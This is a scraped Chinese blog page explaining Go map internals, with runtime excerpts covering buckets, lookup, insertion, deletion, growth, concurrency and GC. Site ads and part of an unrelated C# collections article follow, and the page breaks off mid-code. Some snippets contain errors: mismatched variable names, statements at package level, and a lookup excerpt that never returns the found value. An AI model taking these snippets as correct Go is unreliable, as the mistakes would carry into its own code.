go中的數據結構-字典map

1. map的使用

  golang中的map是一種數據類型,將鍵與值綁定到一起,底層是用哈希表實現的,可以快速的通過鍵找到對應的值。

  類型表示:map[keyType][valueType] key一定要是可比較的類型(可以理解為支持==的操作),value可以是任意類型。

  初始化:map只能使用make來初始化,聲明的時候默認為一個為nil的map,此時進行取值,返回的是對應類型的零值(不存在也是返回零值)。添加元素無任何意義,還會導致運行時錯誤。向未初始化的map賦值引起 panic: assign to entry in nil map。

 1 package main
 2 
 3 import (  
 4     "fmt"
 5 )
 6 
 7 // bool 的零值是false
 8 var m map[int]bool 
 9 a, ok := m[1]
10 fmt.Println(a, ok) // false  false
11 
12 // int 的零值是0
13 var m map[int]int 
14 a, ok := m[1]
15 fmt.Println(a, ok) // 0  false
16 
17 
18 func main() {  
19     var agemap[string]int
20     if age== nil {
21         fmt.Println("map is nil.")
22         age= make(map[string]int)
23     }
24 }

  清空map:對於一個有一定數據的集合 exp,清空的辦法就是再次初始化: exp = make(map[string]int),如果後期不再使用該map,則可以直接:exp= nil 即可,但是如果還需要重複使用,則必須進行make初始化,否則無法為nil的map添加任何內容。

  屬性:與切片一樣,map 是引用類型。當一個 map 賦值給一個新的變量,它們都指向同一個內部數據結構。因此改變其中一個也會反映到另一個。作為形參或返回參數的時候,傳遞的是地址的拷貝,擴容時也不會改變這個地址。

 1 func main() {
 2     exp := map[string]int{
 3         "steve": 20,
 4         "jamie": 80,
 5     }
 6     fmt.Println("Ori exp", age)
 7     newexp:= exp
 8     newexp["steve"] = 18
 9     fmt.Println("exp changed", exp)
10 }
11 
12 //Ori age map[steve:20 jamie:80]
13 //age changed map[steve:18 jamie:80]

  遍歷map:map本身是無序的,在遍歷的時候並不會按照你傳入的順序,進行傳出。

 1 //正常遍歷:
 2 for k, v := range exp { 
 3     fmt.Println(k, v)
 4 }
 5 
 6 //有序遍歷
 7 import "sort"
 8 var keys []string
 9 // 把key單獨抽取出來,放在數組中
10 for k, _ := range exp {
11     keys = append(keys, k)
12 }
13 // 進行數組的排序
14 sort.Strings(keys)
15 // 遍曆數組就是有序的了
16 for _, k := range keys {
17     fmt.Println(k, m[k])
18 }

2. map的結構

   Go中的map在可以在 $GOROOT/src/runtime/map.go找到它的實現。哈希表的數據結構中一些關鍵的域如下所示:

 1 type hmap struct {
 2     count        int  //元素個數
 3     flags        uint8   
 4     B            uint8 //擴容常量
 5     noverflow    uint16 //溢出 bucket 個數
 6     hash0        uint32 //hash 種子
 7     buckets      unsafe.Pointer //bucket 數組指針
 8     oldbuckets   unsafe.Pointer //擴容時舊的buckets 數組指針
 9     nevacuate    uintptr  //擴容搬遷進度
10     extra        *mapextra //記錄溢出相關
11 }
12 
13 type bmap struct {
14     tophash        [bucketCnt]uint8  
15     // Followed by bucketCnt keys 
16     //and then bucketan Cnt values  
17     // Followed by overflow pointer.
18 } 

  說明:每個map的底層都是hmap結構體,它是由若干個描述hmap結構體的元素、數組指針、extra等組成,buckets數組指針指向由若干個bucket組成的數組,其每個bucket里存放的是key-value數據(通常是8個)和overflow字段(指向下一個bmap),每個key插入時會根據hash算法歸到同一個bucket中,當一個bucket中的元素超過8個的時候,hmap會使用extra中的overflow來擴展存儲key。

  圖中len 就是當前map的元素個數,也就是len()返回的值。也是結構體中hmap.count的值。bucket array是指數組指針,指向bucket數組。hash seed 哈希種子。overflow指向下一個bucket。

map的底層主要是由三個結構構成:

  1. hmap — map的最外層的數據結構,包括了map的各種基礎信息、如大小、bucket,一個大的結構體。
  2. mapextra — 記錄map的額外信息,hmap結構體里的extra指針指向的結構,例如overflow bucket
  3. bmap — 代表bucket,每一個bucket最多放8個kv,最後由一個overflow字段指向下一個bmap,注意key、value、overflow字段都不显示定義,而是通過maptype計算偏移獲取的。

  mapextra的結構如下

 1 // mapextra holds fields that are not present on all maps.
 2 type mapextra struct {
 3     // If both key and value do not contain pointers and are inline, then we mark bucket
 4     // type as containing no pointers. This avoids scanning such maps.
 5     // However, bmap.overflow is a pointer. In order to keep overflow buckets
 6     // alive, we store pointers to all overflow buckets in hmap.extra.overflow and hmap.extra.oldoverflow.
 7     // overflow and oldoverflow are only used if key and value do not contain pointers.
 8     // overflow contains overflow buckets for hmap.buckets.
 9     // oldoverflow contains overflow buckets for hmap.oldbuckets.
10     // The indirection allows to store a pointer to the slice in hiter.
11     overflow    *[]*bmap
12     oldoverflow *[]*bmap
13 
14     // nextOverflow holds a pointer to a free overflow bucket.
15     nextOverflow *bmap
16 }

  其中hmap.extra.nextOverflow指向的是預分配的overflow bucket,預分配的用完了那麼值就變成nil。

  bmap的詳細結構如下

  在map中出現哈希衝突時,首先
以bmap為最小粒度掛載,一個bmap累積8個kv之後,就會申請一個新的bmap(overflow bucket)掛在這個bmap的後面形成鏈表,優先用預分配的overflow bucket,如果預分配的用完了,那麼就malloc一個掛上去。這樣減少對象數量,減輕管理內存的負擔,利於gc。
注意golang的map不會shrink,內存只會越用越多,overflow bucket中的key全刪了也不會釋放。

  bmap中所有key存在一塊,所有value存在一塊,這樣做方便內存對齊。當key大於128字節時,bucket的key字段存儲的會是指針,指向key的實際內容;value也是一樣。

  hash值的高8位存儲在bucket中的tophash字段。每個桶最多放8個kv對,所以tophash類型是數組[8]uint8。把高八位存儲起來,這樣不用完整比較key就能過濾掉不符合的key,加快查詢速度。實際上當hash值的高八位小於常量minTopHash時,會加上minTopHash,區間[0, minTophash)的值用於特殊標記。查找key時,計算hash值,用hash值的高八位在tophash中查找,有tophash相等的,再去比較key值是否相同。

 1 type typeAlg struct {
 2     // function for hashing objects of this type
 3     // (ptr to object, seed) -> hash
 4     hash func(unsafe.Pointer, uintptr) uintptr
 5     // function for comparing objects of this type
 6     // (ptr to object A, ptr to object B) -> ==?
 7     equal func(unsafe.Pointer, unsafe.Pointer) bool
 8 
 9 // tophash calculates the tophash value for hash.
10 func tophash(hash uintptr) uint8 {
11     top := uint8(hash >> (sys.PtrSize*8 - 8))
12     if top < minTopHash {
13         top += minTopHash
14     }
15     return top
16 }

  golang為每個類型定義了類型描述器_type,並實現了hashable類型的_type.alg.hash和_type.alg.equal,以支持map的范型,定義了這類key用什麼hash函數、bucket的大小、怎麼比較之類的,通過這個變量來實現范型。

3. map的基本操作

3.1 map的創建

 1 //makemap為make(map [k] v,hint)實現Go map創建。
 2 //如果編譯器已確定映射或第一個存儲桶,可以在堆棧上創建,hmap或bucket可以為非nil。
 3 //如果h!= nil,則可以直接在h中創建map。
 4 //如果h.buckets!= nil,則指向的存儲桶可以用作第一個存儲桶。
 5 func makemap(t *maptype, hint int, h *hmap) *hmap {
 6     if hint < 0 || hint > int(maxSliceCap(t.bucket.size)) {
 7         hint = 0
 8     }
 9 
10     // 初始化Hmap
11     if h == nil {
12         h = new(hmap)
13     }
14     h.hash0 = fastrand()
15 
16     // 查找將保存請求的元素數的size參數
17     B := uint8(0)
18     for overLoadFactor(hint, B) {
19         B++
20     }
21     h.B = B
22 
23     // 分配初始哈希表
24     // if B == 0, 稍後會延遲分配buckets字段(在mapassign中)
25     //如果提示很大,則將內存清零可能需要一段時間。
26     if h.B != 0 {
27         var nextOverflow *bmap
28         h.buckets, nextOverflow = makeBucketArray(t, h.B, nil)
29         if nextOverflow != nil {
30             h.extra = new(mapextra)
31             h.extra.nextOverflow = nextOverflow
32         }
33     }
34 
35     return h
36 }

  hint是一個啟發值,啟發初建map時創建多少個bucket,如果hint是0那麼就先不分配bucket,lazy分配。大概流程就是初始化hmap結構體、設置一下hash seed、bucket數量、實際申請bucket、申請mapextra結構體之類的。   申請buckets的過程:

 1 // makeBucketArray初始化地圖存儲區的後備數組。
 2 // 1 << b是要分配的最小存儲桶數。
 3 // dirtyalloc之前應該為nil或bucket數組
 4 //由makeBucketArray使用相同的t和b參數分配。
 5 //如果dirtyalloc為零,則將分配一個新的支持數組,dirtyalloc將被清除並作為後備數組重用。
 6 func makeBucketArray(t *maptype, b uint8, dirtyalloc unsafe.Pointer) (buckets unsafe.Pointer, nextOverflow *bmap) {
 7     base := bucketShift(b)
 8     nbuckets := base
 9     // 對於小b,溢出桶不太可能出現。
10     // 避免計算的開銷。
11     if b >= 4 {
12         //加上估計的溢出桶數
13         //插入元素的中位數
14         //與此值b一起使用。
15         nbuckets += bucketShift(b - 4)
16         sz := t.bucket.size * nbuckets
17         up := roundupsize(sz)
18         if up != sz {
19             nbuckets = up / t.bucket.size
20         }
21     }
22     if dirtyalloc == nil {
23         buckets = newarray(t.bucket, int(nbuckets))
24     } else {
25        // dirtyalloc先前是由上面的newarray(t.bucket,int(nbuckets)),但不能為空。
26         buckets = dirtyalloc
27         size := t.bucket.size * nbuckets
28         if t.bucket.kind&kindNoPointers == 0 {
29             memclrHasPointers(buckets, size)
30         } else {
31             memclrNoHeapPointers(buckets, size)
32         }
33     }
34 
35     if base != nbuckets {
36         //我們預先分配了一些溢出桶。
37         //為了將跟蹤這些溢出桶的開銷降至最低,我們使用的約定是,如果預分配的溢出存儲桶發生了溢出指針為零,則通過碰撞指針還有更多可用空間。
38         //對於最後一個溢出存儲區,我們需要一個安全的非nil指針;只是用bucket。
39         nextOverflow = (*bmap)(add(buckets, base*uintptr(t.bucketsize)))
40         last := (*bmap)(add(buckets, (nbuckets-1)*uintptr(t.bucketsize)))
41         last.setoverflow(t, (*bmap)(buckets))
42     }
43     return buckets, nextOverflow
44 }

  默認創建2
b個bucket,如果
b大於等於4,那麼就預先額外創建一些overflow bucket。除了最後一個overflow bucket,其餘overflow bucket的overflow指針都是nil,最後一個overflow bucket的overflow指針指向bucket數組第一個元素,作為哨兵,說明到了到結尾了。

3.2 查詢操作

 1 // mapaccess1返回指向h [key]的指針。從不返回nil,而是 如果值類型為零,它將返回對零對象的引用,該鍵不在map中。
 2   //注意:返回的指針可能會使整個map保持活動狀態,因此請不要堅持很長時間。
 3   func mapaccess1(t *maptype, h *hmap, key unsafe.Pointer) unsafe.Pointer {
 4       if raceenabled && h != nil {  //raceenabled是否啟用數據競爭檢測。
 5         callerpc := getcallerpc()
 6         pc := funcPC(mapaccess1)
 7         racereadpc(unsafe.Pointer(h), callerpc, pc)
 8         raceReadObjectPC(t.key, key, callerpc, pc)
 9     }
10     if msanenabled && h != nil {
11         msanread(key, t.key.size)
12     }
13     if h == nil || h.count == 0 {
14         return unsafe.Pointer(&zeroVal[0])
15     }    
16     // 併發訪問檢查
17     if h.flags&hashWriting != 0 {
18         throw("concurrent map read and map write")
19     }
20     
21     // 計算key的hash值
22     alg := t.key.alg
23     hash := alg.hash(key, uintptr(h.hash0)) // alg.hash
24 
25     // hash值對m取餘數得到對應的bucket
26     m := uintptr(1)<<h.B - 1
27     b := (*bmap)(add(h.buckets, (hash&m)*uintptr(t.bucketsize)))
28 
29     // 如果老的bucket還沒有遷移,則在老的bucket裏面找
30     if c := h.oldbuckets; c != nil {
31         if !h.sameSizeGrow() {
32             m >>= 1
33         }
34         oldb := (*bmap)(add(c, (hash&m)*uintptr(t.bucketsize)))
35         if !evacuated(oldb) {
36             b = oldb
37         }
38     }
39     
40     // 計算tophash,取高8位
41     top := uint8(hash >> (sys.PtrSize*8 - 8))
42     
43     for {
44         for i := uintptr(0); i < bucketCnt; i++ {
45             // 檢查top值,如高8位不一樣就找下一個
46             if b.tophash[i] != top {
47                 continue
48             }
49             
50             // 取key的地址
51             k := add(unsafe.Pointer(b), dataOffset+i*uintptr(t.keysize))
52             
53             if alg.equal(key, k) { // alg.equal
54                 // 取value得地址
55                 v := add(unsafe.Pointer(b), dataOffset+bucketCnt*uintptr(t.keysize)+i*uintptr(t.valuesize))
56             }
57         }
58        
59         // 如果當前bucket沒有找到,則找bucket鏈的下一個bucket
60         b = b.overflow(t)
61         if b == nil {
62             // 返回零值
63             return unsafe.Pointer(&zeroVal[0])
64         }
65     }
66 }
  1. 先定位出bucket,如果正在擴容,並且這個bucket還沒搬到新的hash表中,那麼就從老的hash表中查找。

  2. 在bucket中進行順序查找,使用高八位進行快速過濾,高八位相等,再比較key是否相等,找到就返回value。如果當前bucket找不到,就往下找overflow bucket,都沒有就返回零值。

  訪問的時候,並不進行擴容的數據搬遷。並且併發有寫操作時拋異常

  注意,t.bucketsize並不是bmap的size,而是bmap加上存儲key、value、overflow指針,所以查找bucket的時候時候用的不是bmap的szie。

3.3 更新/插入過程

 1 // 與mapaccess類似,但是如果map中不存在密鑰,則為該密鑰分配一個插槽
 2 func mapassign(t *maptype, h *hmap, key unsafe.Pointer) unsafe.Pointer {
 3     ...
 4     //設置hashWriting調用alg.hash,因為alg.hash可能出現緊急情況后,在這種情況下,我們實際上並沒有進行寫操作.
 5     h.flags |= hashWriting
 6 
 7     if h.buckets == nil {
 8         h.buckets = newobject(t.bucket) // newarray(t.bucket, 1)
 9     }
10 
11 again:
12     bucket := hash & bucketMask(h.B)
13     if h.growing() {
14         growWork(t, h, bucket)
15     }
16     b := (*bmap)(unsafe.Pointer(uintptr(h.buckets) + bucket*uintptr(t.bucketsize)))
17     top := tophash(hash)
18 
19     var inserti *uint8
20     var insertk unsafe.Pointer
21     var val unsafe.Pointer
22     for {
23         for i := uintptr(0); i < bucketCnt; i++ {
24             if b.tophash[i] != top {
25                 if b.tophash[i] == empty && inserti == nil {
26                     inserti = &b.tophash[i]
27                     insertk = add(unsafe.Pointer(b), dataOffset+i*uintptr(t.keysize))
28                     val = add(unsafe.Pointer(b), dataOffset+bucketCnt*uintptr(t.keysize)+i*uintptr(t.valuesize))
29                 }
30                 continue
31             }
32             k := add(unsafe.Pointer(b), dataOffset+i*uintptr(t.keysize))
33             if t.indirectkey {
34                 k = *((*unsafe.Pointer)(k))
35             }
36             if !alg.equal(key, k) {
37                 continue
38             }
39             // 已經有一個 mapping for key. 更新它.
40             if t.needkeyupdate {
41                 typedmemmove(t.key, k, key)
42             }
43             val = add(unsafe.Pointer(b), dataOffset+bucketCnt*uintptr(t.keysize)+i*uintptr(t.valuesize))
44             goto done
45         }
46         ovf := b.overflow(t)
47         if ovf == nil {
48             break
49         }
50         b = ovf
51     }
52     //// 如果已經達到了load factor的最大值,就繼續擴容。
53     //找不到鍵的映射。分配新單元格並添加條目。
54     //如果達到最大負載係數或溢出桶過多,並且我們還沒有處於成長的中間,就開始擴容。
55     if !h.growing() && (overLoadFactor(h.count+1, h.B) ||     
56         tooManyOverflowBuckets(h.noverflow, h.B)) {
57         hashGrow(t, h)
58         goto again // //擴大表格會使所有內容無效, so try again
59     }
60     if inserti == nil {
61         // 當前所有存儲桶已滿,請分配一個新的存儲桶
62         newb := h.newoverflow(t, b)
63         inserti = &newb.tophash[0]
64         insertk = add(unsafe.Pointer(newb), dataOffset)
65         val = add(insertk, bucketCnt*uintptr(t.keysize))
66     }
67 
68     // 在插入的位置,存儲鍵值
69     if t.indirectkey {
70         kmem := newobject(t.key)
71         *(*unsafe.Pointer)(insertk) = kmem
72         insertk = kmem
73     }
74     if t.indirectvalue {
75         vmem := newobject(t.elem)
76         *(*unsafe.Pointer)(val) = vmem
77     }
78     typedmemmove(t.key, insertk, key)
79     *inserti = top
80     h.count++
81 
82 done:
83     if h.flags&hashWriting == 0 {
84         throw("concurrent map writes")
85     }
86     h.flags &^= hashWriting
87     if t.indirectvalue {
88         val = *((*unsafe.Pointer)(val))
89     }
90     return val
91 }    
  • hash表如果正在擴容,並且這次要操作的bucket還沒搬到新hash表中,那麼先進行搬遷(擴容細節下面細說)。

  • 在buck中尋找key,同時記錄下第一個空位置,如果找不到,那麼就在空位置中插入數據;如果找到了,那麼就更新對應的value;

  • 找不到key就看下需不需要擴容,需要擴容並且沒有正在擴容,那麼就進行擴容,然後回到第一步。

  • 找不到key,不需要擴容,但是沒有空slot,那麼就分配一個overflow bucket掛在鏈表結尾,用新bucket的第一個slot放存放數據。

3.5 刪除的過程

 1 func mapdelete(t *maptype, h *hmap, key unsafe.Pointer) {
 2     ...
 3     // Set hashWriting after calling alg.hash, since alg.hash may panic,
 4     // in which case we have not actually done a write (delete).
 5     h.flags |= hashWriting
 6 
 7     bucket := hash & bucketMask(h.B)
 8     if h.growing() {
 9         growWork(t, h, bucket)
10     }
11     b := (*bmap)(add(h.buckets, bucket*uintptr(t.bucketsize)))
12     top := tophash(hash)
13 search:
14     for ; b != nil; b = b.overflow(t) {
15         for i := uintptr(0); i < bucketCnt; i++ {
16             if b.tophash[i] != top {
17                 continue
18             }
19             k := add(unsafe.Pointer(b), dataOffset+i*uintptr(t.keysize))
20             k2 := k
21             if t.indirectkey {
22                 k2 = *((*unsafe.Pointer)(k2))
23             }
24             if !alg.equal(key, k2) {
25                 continue
26             }
27             // 如果其中有指針,則僅清除鍵。
28             if t.indirectkey {
29                 *(*unsafe.Pointer)(k) = nil
30             } else if t.key.kind&kindNoPointers == 0 {
31                 memclrHasPointers(k, t.key.size)
32             }
33             v := add(unsafe.Pointer(b), dataOffset+bucketCnt*uintptr(t.keysize)+i*uintptr(t.valuesize))
34             if t.indirectvalue {
35                 *(*unsafe.Pointer)(v) = nil
36             } else if t.elem.kind&kindNoPointers == 0 {
37                 memclrHasPointers(v, t.elem.size)
38             } else {
39                 memclrNoHeapPointers(v, t.elem.size)
40             }
41         // 若找到把對應的tophash裏面的打上空的標記
42             b.tophash[i] = empty
43             h.count--
44             break search
45         }
46     }
47 
48     if h.flags&hashWriting == 0 {
49         throw("concurrent map writes")
50     }
51     h.flags &^= hashWriting
52 }    
  1. 如果正在擴容,並且操作的bucket還沒搬遷完,那麼搬遷bucket。

  2. 找出對應的key,如果key、value是包含指針的那麼會清理指針指向的內存,否則不會回收內存。

3.6 map的擴容

  通過上面的過程我們知道了,插入、刪除過程都會觸發擴容,判斷擴容的函數如下:

 1 // overLoadFactor 判斷放置在1 << B個存儲桶中的計數項目是否超過loadFactor。
 2 func overLoadFactor(count int, B uint8) bool {
 3     return count > bucketCnt && uintptr(count) > loadFactorNum*(bucketShift(B)/loadFactorDen)  
 4     //return 元素個數>8 && count>bucket數量*6.5,其中loadFactorNum是常量13,loadFactorDen是常量2,所以是6.5,bucket數量不算overflow bucket.
 5 }
 6 
 7 // tooManyOverflowBuckets 判斷noverflow存儲桶對於1 << B存儲桶的map是否過多。
 8 // 請注意,大多數這些溢出桶必須稀疏使用。如果使用密集,則我們已經觸發了常規map擴容。
 9 func tooManyOverflowBuckets(noverflow uint16, B uint8) bool {
10     // 如果閾值太低,我們會做多餘的工作。如果閾值太高,則增大和縮小的映射可能會保留大量未使用的內存。
11     //“太多”意味着(大約)溢出桶與常規桶一樣多。有關更多詳細信息,請參見incrnoverflow。
12     if B > 15 {
13         B = 15
14     }
15     // 譯器在這裏看不到B <16;掩碼B生成較短的移位碼。
16     return noverflow >= uint16(1)<<(B&15)
17 }
18 
19 {
20     ....
21     // 如果我們達到最大負載率或溢流桶過多,並且我們還沒有處於成長的中間,就開始成長。
22     if !h.growing() && (overLoadFactor(h.count+1, h.B) || tooManyOverflowBuckets(h.noverflow, h.B)) {
23         hashGrow(t, h)
24         goto again // 擴大表格會使所有內容失效,so try again
25     }
26     //if (不是正在擴容 && (元素個數/bucket數超過某個值 || 太多overflow bucket)) {
27     進行擴容
28     //}
29     ....
30 }

  每次map進行更新或者新增的時候,會先通過以上函數判斷一下load factor。來決定是否擴容。如果需要擴容,那麼第一步需要做的,就是對hash表進行擴容:

 1 //僅對hash表進行擴容,這裏不進行搬遷
 2 func hashGrow(t *maptype, h *hmap) {
 3     // 如果達到負載係數,則增大尺寸。否則,溢出bucket過多,因此,保持相同數量的存儲桶並橫向“增長”。
 4     bigger := uint8(1)
 5     if !overLoadFactor(h.count+1, h.B) {
 6         bigger = 0
 7         h.flags |= sameSizeGrow
 8     }
 9     oldbuckets := h.buckets
10     newbuckets, nextOverflow := makeBucketArray(t, h.B+bigger, nil)
11 
12     flags := h.flags &^ (iterator | oldIterator)
13     if h.flags&iterator != 0 {
14         flags |= oldIterator
15     }
16     // 提交增長(atomic wrt gc)
17     h.B += bigger
18     h.flags = flags
19     h.oldbuckets = oldbuckets
20     h.buckets = newbuckets
21     h.nevacuate = 0
22     h.noverflow = 0
23 
24     if h.extra != nil && h.extra.overflow != nil {
25         // 將當前的溢出bucket提升到老一代。
26         if h.extra.oldoverflow != nil {
27             throw("oldoverflow is not nil")
28         }
29         h.extra.oldoverflow = h.extra.overflow
30         h.extra.overflow = nil
31     }
32     if nextOverflow != nil {
33         if h.extra == nil {
34             h.extra = new(mapextra)
35         }
36         h.extra.nextOverflow = nextOverflow
37     }
38 
39     //哈希表數據的實際複製是增量完成的,通過growWork()和evacuate()。
40 }

  如果之前為2^n ,那麼下一次擴容是2^(n+1),每次擴容都是之前的兩倍。擴容后需要重新計算每一項在hash中的位置,新表為老的兩倍,此時前文的oldbacket用上了,用來存同時存在的兩個新舊map,等數據遷移完畢就可以釋放oldbacket了。擴容的函數hashGrow其實僅僅是進行一些空間分配,字段的初始化,實際的搬遷操作是在growWork函數中:

1 func growWork(t *maptype, h *hmap, bucket uintptr) {
2     //確保我們遷移了了對應的oldbucket,到我們將要使用的存儲桶。
3     evacuate(t, h, bucket&h.oldbucketmask())
4 
5     // 疏散一箇舊桶以在生長上取得進展
6     if h.growing() {
7         evacuate(t, h, h.nevacuate)
8     }
9 }

  evacuate是進行具體搬遷某個bucket的函數,可以看出
growWork會搬遷兩個bucket,一個是入參bucket;另一個是h.nevacuate。這個nevacuate是一個順序累加的值。可以想想如果每次僅僅搬遷進行寫操作(賦值/刪除)的bucket,那麼有可能某些bucket就是一直沒有機會訪問到,那麼擴容就一直沒法完成,總是在擴容中的狀態,因此會額外進行一次順序遷移,理論上,有N個old bucket,最多N次寫操作,那麼必定會搬遷完。在advanceEvacuationMark中進行nevacuate的累加,遇到已經遷移的bucket會繼續累加,一次最多加1024。

  優點:均攤擴容時間,一定程度上縮短了擴容時間(和gc的引用計數法類似,都是均攤)overLoadFactor函數中有一個常量6.5(loadFactorNum/loadFactorDen)來進行影響擴容時機。這個值的來源是測試取中的結果。

4. map的併發安全性

  map的併發操作不是安全的。併發起兩個goroutine,分別對map進行數據的增加:

 1 func main() {
 2     test := map[int]int {1:1}
 3     go func() {
 4         i := 0
 5         for i < 10000 {
 6             test[1]=1
 7             i++
 8         }
 9     }()
10 
11     go func() {
12         i := 0
13         for i < 10000 {
14             test[1]=1
15             i++
16         }
17     }()
18 
19     time.Sleep(2*time.Second)
20     fmt.Println(test)
21 }
22 
23 //fatal error: concurrent map read and map write

  併發讀寫map結構的數據引起了錯誤。

  解決方案1:加鎖

 1 func main() {
 2     test := map[int]int {1:1}
 3     var s sync.RWMutex
 4     go func() {
 5         i := 0
 6         for i < 10000 {
 7             s.Lock()
 8             test[1]=1
 9             s.Unlock()
10             i++
11         }
12     }()
13 
14     go func() {
15         i := 0
16         for i < 10000 {
17             s.Lock()
18             test[1]=1
19             s.Unlock()
20             i++
21         }
22     }()
23 
24     time.Sleep(2*time.Second)
25     fmt.Println(test)
26 }

  特點:實現簡單粗暴,好理解。但是鎖的粒度為整個map,存在優化空間。適用場景:all。

  解決方案2:sync.Map

 1 func main() {
 2     test := sync.Map{}
 3     test.Store(1, 1)
 4     go func() {
 5         i := 0
 6         for i < 10000 {
 7             test.Store(1, 1)
 8             i++
 9         }
10     }()
11 
12     go func() {
13         i := 0
14         for i < 10000 {
15             test.Store(1, 1)
16             i++
17         }
18     }()
19 
20     time.Sleep(time.Second)
21     fmt.Println(test.Load(1))
22 }

  sync.Map的原理:sync.Map裡頭有兩個map一個是專門用於讀的read map,另一個是才是提供讀寫的dirty map;優先讀read map,若不存在則加鎖穿透讀dirty map,同時記錄一個未從read map讀到的計數,當計數到達一定值,就將read map用dirty map進行覆蓋。
特點:官方出品,通過空間換時間的方式,讀寫分離;不適用於大量寫的場景,會導致read map讀不到數據而進一步加鎖讀取,同時dirty map也會一直晉陞為read map,整體性能較差。適用場景:大量讀,少量寫。

  解決方案3:分段鎖

  這也是數據庫常用的方法,分段鎖每一個讀寫鎖保護一段區間。sync.Map其實也是相當於表級鎖,只不過多讀寫分了兩個map,本質還是一樣的。

  優化方向:將鎖的粒度盡可能降低來提高運行速度。思路:對一個大map進行hash,其內部是n個小map,根據key來來hash確定在具體的那個小map中,這樣加鎖的粒度就變成1/n了。

5. map的GC內存回收

  golang里的map是只增不減的一種數組結構,他只會在刪除的時候進行打標記說明該內存空間已經empty了,不會回收。

 1 var intMap map[int]int
 2 
 3 func main() {
 4     printMemStats("初始化")
 5 
 6     // 添加1w個map值
 7     intMap = make(map[int]int, 10000)
 8     for i := 0; i < 10000; i++ {
 9         intMap[i] = i
10     }
11 
12     // 手動進行gc操作
13     runtime.GC()
14     // 再次查看數據
15     printMemStats("增加map數據后")
16 
17     log.Println("刪除前數組長度:", len(intMap))
18     for i := 0; i < 10000; i++ {
19         delete(intMap, i)
20     }
21     log.Println("刪除后數組長度:", len(intMap))
22 
23     // 再次進行手動GC回收
24     runtime.GC()
25     printMemStats("刪除map數據后")
26 
27     // 設置為nil進行回收
28     intMap = nil
29     runtime.GC()
30     printMemStats("設置為nil后")
31 }
32 
33 func printMemStats(mag string) {
34     var m runtime.MemStats
35     runtime.ReadMemStats(&m)
36     log.Printf("%v:分配的內存 = %vKB, GC的次數 = %v\n", mag, m.Alloc/1024, m.NumGC)
37 }
38 
39 //初始化:分配的內存 = 65KB, GC的次數 = 0
40 //增加map數據后:分配的內存 = 381KB, GC的次數 = 1
41 //刪除前數組長度: 10000
42 //刪除后數組長度: 0
43 //刪除map數據后:分配的內存 = 381KB, GC的次數 = 2
44 //設置為nil后:分配的內存 = 68KB, GC的次數 = 3

  可以看到delete是不會真正的把map釋放的,所以要回收map還是需要設為nil

sync.Map的原理詳解: 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

※想要讓你的商品成為最夯、最多人討論的話題?網頁設計公司讓你強力曝光

※想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師”嚨底家”!!

數據結構之Array、ArrayList、List、LinkedList對比分析

一、前言:

  在c#數據結構中,集合的應用非常廣泛,無論是做BS架構還是CS架構開發,都離不開集合的使用,比如我們常見的集合包括:Array、ArrayList、List、LinkedList等。這一些數據集合,在功能上都能夠實現集合的存取,但是他們內部有什麼區別,在使用時需要注意一些什麼呢?下面根據個人的經驗,對這一些集合數據的使用做一個簡單的小結,如果說的不對的地方,歡迎指出,多多交流改進。

二、Array集合簡介

  Array集合,也就是數組,是最簡單的數據結構,其存儲的數據在內存空間是連續的,數組有一下一些特點

  • 1.數據存儲是連續的
  • 2.數組長度在定義時就必須制定
  • 3.數組存儲的數據類型都是同一類型
  • 4.數組可以直接通過小標訪問

  優缺點:
   優點:
  1、可以根據索引直接訪問,訪問速度快
   2、數據是安全的,由於數據類型一致性,在存儲使用過程中不涉及
  缺點:
  1、由於數據是連續存儲的,導致插入效率變慢
    2、由於數組長度大小固定,那麼對預期非固定長度的数字不好處理

  練習實例代碼:

 

    /// <summary>
    /// 數組練習操作 
    /// </summary>
    public class ArrayTest
    {
        /// 數組 Array 對於大家來說一點都不陌生
        /// 數組是在內存連續分配的存儲空間,這也導致數組有一下一些特點
        /// 1.數據存儲是連續的
        /// 2.數組長度在定義時就必須制定
        /// 3.數組存儲的數據類型都是同一類型
        /// 4.數組可以直接通過小標訪問
        /// 
        /// 優缺點:
        /// 優點:
        ///     1、可以根據索引直接訪問,訪問速度快
        ///     2、數據是安全的,由於數據類型一致性,在存儲使用過程中不涉及到裝箱拆箱操作
        /// 缺點:
        ///     1、由於數據是連續存儲的,導致插入效率變慢
        ///     2、由於數組長度大小固定,那麼對預期非固定長度的数字不好處理

        /// int類型的數組操作 
        public static void IntArrayTest()
        {

            //// 定義一個秒錶,執行獲取執行時間
            Stopwatch st = new Stopwatch();//實例化類
            st.Start();//開始計時

            Console.WriteLine("開始初始化長度為10000000的int數組:");

            //// 定義一個數組
            int[] nums = new int[10000000];
            for (int i = 0; i < 10000000; i++)
            {
                nums[i] = 1 + 1;
            }

            //需要統計時間的代碼段

            st.Stop();//終止計時
            Console.WriteLine(string.Format("初始化長度為10000的int數組完畢!總耗時{0}毫秒", st.ElapsedMilliseconds.ToString()));
        }
    }

 

三、ArrayList集合簡介

ArrayList 是Array的升級版,能夠解決Array的一些缺點
ArrayList其內部實現也是Array,只是其長度是可以動態,在其內部用一個變量記錄控制長度,ArrayList有如下一些特點

  • 1.長度不固定
  • 2.可以存儲不同的數據類型(object)
  • 3.同樣支持索引查詢(可以直接通過小標訪問)
  • 4.靈活性更強,以犧牲性能為代價

優缺點:
優點:
1、長度不固定,在定義是不必擔長度溢出
2、可以存儲任意數據類型
3、可根據索引查詢,查詢效率快
缺點:
1、由於長度不固定,執行效率低下,因為超出默認長度(10)后,會自動擴容拷貝數據,犧牲性能
2、由於存儲類型是object,所以在存數據時會有裝箱操作,在取數據時會有拆箱操作,影響效率
3、線程不安全,因為其內部實現是用size、array來共同控制,在新增操作時是非原子操作,所以非安全線程

使用技巧:
在實際使用過程中,為了避免自動擴容,可以預估數據長度,初始化一個數據長度,從而提高效率

練習實例代碼:

    /// <summary>
    /// ArrayList數組練習操作 
    /// </summary>
    public class ArrayListTest
    {
        /// ArrayList 是Array的升級版,能夠解決Array的一些缺點
        /// ArrayList其內部實現也是Array,只是其長度是可以動態,在其內部用一個變量記錄控制長度,ArrayList有如下一些特點
        /// 1.長度不固定
        /// 2.可以存儲不同的數據類型(object)
        /// 3.同樣支持索引查詢(可以直接通過小標訪問)
        /// 4.靈活性更強,以犧牲性能為代價

        /// 優缺點:
        /// 優點:
